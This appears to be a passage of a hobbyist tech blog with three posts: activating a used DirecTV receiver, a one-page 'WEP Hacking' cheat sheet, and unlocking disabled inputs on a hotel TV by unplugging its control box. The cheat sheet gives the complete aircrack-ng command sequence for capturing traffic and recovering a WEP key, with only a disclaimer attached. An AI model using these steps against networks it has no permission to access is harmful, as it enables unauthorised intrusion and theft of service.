Recently I added a TV for a teenager,  and thought I'd share the knowledge.  All you have to do is buy a used receiver (why not get a DVR) off of ebay and activate it.   If you get a receiver new from Directv or any other retailer, you don't own it you lease it and can't resell it.  There may be contract implications and additional fees too, I don't know, I stay off the grid.   Search for directvR10 or DSR708.  People are selling these cheap because they have upgraded to HDTV.  They still work great.
I paid $40 "buy it now" because I didn't want to wait and bid.    If you bid you can probably get one for $20.  I have in the past.  DVR came with a remote that is worth $20 alone.  Some people are charging more, but that doesn't mean you can't find a good deal from a good seller if you shop around.  I got this one:

 Directv TiVo DVR R10 TV Receiver w/Remote

Hook it up using a multiswitch to split your existing cables from the dish, or add another dish.   All from ebay.    I got this one for $9, free shipping.

 New Zinwell MS3X4WB-Z Directv Approved 3x4 Multiswitch


You can have at least 20 dishes and receivers if you want on one account. You can move them to your vacation home, etc.
Just call directv and tell them you bought a used receiver and want to activate it when it comes in the mail.  I don't know if there are any restrictions on using a used receiver, but I have done this at least 5 times between adding and replacing old dead units.   You used to be able to reuse the card that is in it, but no more.  Directv will make you buy a new card for $20 and will mail it to you.  Make sure they mark the receiver as owned rather than used in your account.  This should be no problem since these are so old, it wasn't for me.  They do charge $6/month for every receiver, so it isn't totally free.


WEP Hacking - Single page cheat sheet

Work has been crazy lately so no time for hobbies. This post is just a summary of the commands I learned in:http://blog.workingsi.com/2011/08/playing-around-with-hacking-wep.html that I can refer to easily from my phone when working on the road. This uses backtrack penetration testing linux loaded on a USB. Computer is rebooted from the USB into backtrack linux. startx starts the environment at the prompt.  Open terminals to execute these commands:

  • airmon-ng stop wlan0
  • airmon-ng start wlan0
    • initializes the card.  wlan0 is the card name
  • airodump-ng wlan0
    • Find networks with WEP and write down channel, bssid, essid , Hit ctrl-c to stop
  • airodump-ng -w wep -c <number> --bssid <bssid> wlan0
    • points the wireless card to the network you picked
  • aireplay-ng -1 0 -a <bssid> wlan0
    • initiates association with network. comes back association successful
  • aireplay-ng -3 -b <bssid> wlan0"  
    • Makes traffic and sniffs it.  Go back to the first terminal and watch the data column, run until data hits 30,000. 
  •  dir
    •  a file will be created *.cap that will have the wireless data captured
  • aircrack-ng wep-01.cap
    • And it will return the WEP key

Disclaimer:  This is not admission that I have ever hacked WiFI, or that you should steal WiFi bandwidth.  People who use WEP networks are human too and should be respected and not harmed in any way.   Use this only for networks you are allowed to connect to.


Sunday, October 16, 2011

Tip for switching video inputs on the hotel TV

This is how to easily bypass this system and watch videos from your laptop on a hotel set.
(If you don't want to read my story, the second picture shows you what to do)

Recently I stayed at an Embassy Suites hotel in Maryland, and they had a nice LG HDTV and an OnCommand remote control with a box on the back labelled OnCommand as well.  I think the system may be built by LodgeNet.



I had brought some DVD's and we wanted to watch a movie using my laptop as the video source and the room HDTV.  That sounds fairly reasonable, right?   Lots of people want to hook up a PS3 video game console, or use streaming movies, netflix, slingbox, and the like and watch video from their own laptop while staying at a hotel.   I should be able to use this HDTV as the monitor, I payed to rent the room!

First I wasted $25 at the neighboring best buy buying an HDMI cable, because I noted that the TV had HDMI connectors on the back and my laptop has an HDMI output.  I could have gone VGA but then I'd have to listen to the sound from the laptop, which is horrible, or have an audio cable plugged into the headphone jack too.  HDMI will also carry sound to the TV.    HDMI cables are a major profit source for Bestbuy because people price shop for the tv and then buy a stupid $50 cable to give them back the profit.   The cheapest they had was $25.  Now high quality cables do make a difference for long runs or marginal equipment, but if you only need a 3 foot cable, a $1.50 cable from monoprice is fine.  I know all about cable bandwidth, speckles and dropped bits, but that is a post for another time.  I should have packed a cable from home, but you can't bring everything.

I get back and I plug the HDMI cable into the TV and laptop and go to switch the input to the AUX or HDMI 1 source.  Whoops, no button on the hotel remote to do that.   I go to the set and push the input button on the side.   Nothing.  It is clearly disabled.   The menu button doesn't work either.  I can't change channels to the new video source either.   Curse you red baron!!!!!!!!   The hotel has lobotomized the TV.  I can sympathize because the hotel doesn't want every new guest calling up that the TV is messed up and all that needs to be done is to change the inputs back to the hotel feed.  So they save a lot of time and headaches with a TV that only tunes to the channels that work.   They also are looking to earn a buck from pay movies too, that is a little less understandable.

At first I thought the solution was to go back to the best buy and get a universal remote so I could push the input/menu buttons.  But I didn't want to spend any more money and the family was getting tired of waiting.   Years ago I used to carry a universal remote on business travel because that was the way to see the blocked channels with the old analog hotel systems. The old time hack was to simply connect the coax cable from the wall directly to the TV (a car key wedged in the metal shield turns it) and bypass the extra hotel box to see the pay per view movies using the universal remote to change channels directly on the TV.  Ahh the old days when technology was so easy to hack.   I'm sure it is not that much harder these days.  I don't want to see their crappy pay per view movies, the laptop has all the video anyone would ever need.

A little googling gave me this
http://boardingarea.com/blogs/traveltechtalk/2008/01/27/hack-the-hotel-tv-watch-what-you-want-on-it/
It has a bunch of suggestions and random information about universal remotes, installer remotes, TV hospitality mode.  It looks like a lot depends on what equipment you are facing.  It definitely isn't worth buying a universal remote until I try some basic unplugging.

The first thing I tried worked!   There is a grey phone line cable that connects from the back of the TV to the parasitic OnCommand box on the back (I saw a similar thing with bugs hanging on your back in star trek and doctor who ).    I simply unclipped the phone cable from the box and let it hang.  Now the input buttons work on the side of the TV and I can change inputs.  TV is unlocked!  Woot!   I plugged in the cable to the HDMI input and laptop and played the movie.  Family hero.



I simply reconnected the grey phone cable when I was done, turned off the set and turned it back on and it was back to hotel normal.  No worries.

Just so you don't miss the hacking fun, on the first try of disconnecting the phone cable, the TV went dead for a minute and wouldn't turn on.  I thought I was going to have to call the front desk and play dumb, but turns out I accidentally knocked the power plug loose turning the TV around.  :-)  Unhooking power and putting it back in fixed the issue.   False alarm.  But as a last resort if things go wonky on you, unplug the TV from the wall and plug it back in after you remove or reconnect the phone cord and all should be right again.  I later confirmed that unplugging the TV from the wall between steps is not necessary to reset the box, I went back and forth several times from locked to unlocked during our stay.

Update... stayed in a Hilton Garden in Texas and it also had an LG TV, but the grey hotel box was hidden down inside a cabinet out of sight.  There was the same grey phone cable plugged into the back of the set, and the input button didn't work.  Simply unplugged the phone cable from the back of the set and I can now change inputs to HDMI using the buttons on the side of the set.  Plugged it back in when I left and it went back to working like a lobotomized hotel TV.